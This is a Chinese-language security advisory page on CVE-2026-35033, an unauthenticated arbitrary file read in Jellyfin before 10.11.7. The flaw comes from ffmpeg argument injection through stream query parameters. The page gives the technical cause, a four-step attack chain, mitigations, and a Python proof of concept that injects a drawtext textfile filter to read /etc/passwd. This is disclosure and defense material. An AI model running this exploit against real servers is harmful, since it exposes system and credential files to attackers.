IPBUF安全漏洞报告
English
CVE-2026-35033 CVSS 9.1 严重

CVE-2026-35033 Jellyfin任意文件读取漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-35033
漏洞类型
任意文件读取
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Jellyfin

相关标签

Jellyfin任意文件读取参数注入CVE-2026-35033未授权访问

漏洞概述

Jellyfin是一款开源媒体服务器。在10.11.7之前的版本中,存在未认证任意文件读取漏洞。该漏洞源于ParseStreamOptions方法未验证StreamOptions查询参数,直接将其拼接到ffmpeg命令行。攻击者可注入drawtext过滤器的textfile参数读取/etc/shadow等敏感文件,并通过视频流响应泄露数据。该漏洞风险极高,建议立即升级。

技术细节

该漏洞发生在Jellyfin的流媒体处理逻辑中。StreamingHelpers.cs的ParseStreamOptions方法在解析查询参数时,仅检查参数名是否为小写,未对参数值进行任何过滤或验证,从而绕过了控制器上的RegularExpression属性。这些未净化的参数随后被直接拼接到ffmpeg命令行中执行。攻击者利用/Videos/{itemId}/stream端点缺乏授权保护的特性,发送包含恶意drawtext过滤器(指定textfile=/etc/passwd)的请求。服务器在处理视频流时,会调用ffmpeg读取指定文件内容并将其渲染为视频帧上的文本,最终返回给攻击者,导致服务器敏感信息泄露。

攻击链分析

STEP 1
侦察
攻击者识别网络上运行Jellyfin的目标服务器。
STEP 2
枚举
尝试获取或猜测服务器上的媒体项ID(GUID)。
STEP 3
漏洞利用
向/Videos/{itemId}/stream端点发送特制的HTTP GET请求,在查询参数中注入包含textfile参数的drawtext过滤器。
STEP 4
执行与泄露
Jellyfin服务器使用ffmpeg处理请求,读取攻击者指定的文件(如/etc/passwd),并将其内容渲染到视频流的文本中返回给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_host, item_id): """ Proof of Concept for CVE-2026-35033 Attempts to read /etc/passwd via ffmpeg argument injection. """ url = f"{target_host}/Videos/{item_id}/stream" # Injecting the drawtext filter to read a file params = { "drawtext": "textfile=/etc/passwd:fontcolor=white:fontsize=24:x=10:y=10" } try: response = requests.get(url, params=params, stream=True) if response.status_code == 200: print("[+] Request sent successfully. Check the video stream for file content.") # Note: The content is rendered inside the video, not in the HTTP body text. else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") # Usage # exploit("http://target-ip:8096", "valid-guid-here")

影响范围

Jellyfin < 10.11.7

防御指南

临时缓解措施
如果无法立即升级,建议将Jellyfin服务置于VPN之后或仅允许受信任的IP地址访问,以减少未授权访问的风险。同时,应密切监控服务器日志中是否存在异常的视频流请求或ffmpeg进程调用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表